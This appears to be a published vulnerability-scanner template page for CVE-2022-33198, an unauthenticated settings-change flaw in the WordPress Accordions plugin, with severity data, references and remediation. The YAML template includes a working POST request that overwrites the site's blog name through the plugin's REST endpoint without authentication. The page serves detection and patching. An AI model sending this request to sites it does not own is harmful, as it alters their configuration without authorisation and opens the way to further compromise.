WordPress Accordions - Unauthenticated Settings Update
CVE-2022-33198
Early Release
Description
Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.
Severity
Critical
CVSS Score
9.8
Exploit Probability
0%
Affected Product
accordions
Published Date
November 29, 2025
Template Author
riteshs4hu
CVE-2022-33198.yaml
id: CVE-2022-33198
info:
name: WordPress Accordions - Unauthenticated Settings Update
author: riteshs4hu
severity: critical
description: |
Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.
impact: |
Attackers can modify plugin options, potentially leading to site defacement, functionality disruption, or further exploitation.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://vdp.patchstack.com/database/wordpress/plugin/accordions-or-faqs/vulnerability/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2022-33198
- https://patchstack.com/database/vulnerability/accordions-or-faqs/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
- https://wordpress.org/plugins/accordions-or-faqs/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-33198
cwe-id: CWE-264,NVD-CWE-Other
epss-score: 0.00279
epss-percentile: 0.50897
cpe: cpe:2.3:a:oxilab:accordions:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: oxilab
product: accordions
framework: wordpress
tags: cve2022,cve,wp-plugin,wp,wordpress,unauth,accordions,vuln,kev,vkev
variables:
marker: '{{rand_text_alpha(10, "abc")}}'
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-json/oxiaccordionsultimate/v1/oxi_settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{marker}}%22%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "oxi-confirmation-success")'
condition: and
internal: true
- raw:
- |
GET /wp-json HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name":"{{marker}}"'
- type: status
status:
- 200
# digest: 490a00463044022057f797be814ec4b7021db2f627fd49f1bda0e74b2aba11cddb5bec9ff08da183022069c2aac984ed17eeeccfb397a8098dce8a1b15442abfa28d7a21c61df0990711:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2022-33198
CWE ID:
cwe-264, nvd-cwe-other
References
https://vdp.patchstack.com/database/wordpress/plugin/accordions-or-faqs/vulnerability/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerabilityhttps://nvd.nist.gov/vuln/detail/CVE-2022-33198https://patchstack.com/database/vulnerability/accordions-or-faqs/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerabilityhttps://wordpress.org/plugins/accordions-or-faqs/#developers
Remediation Steps
Update to the latest version of the plugin where the issue is fixed.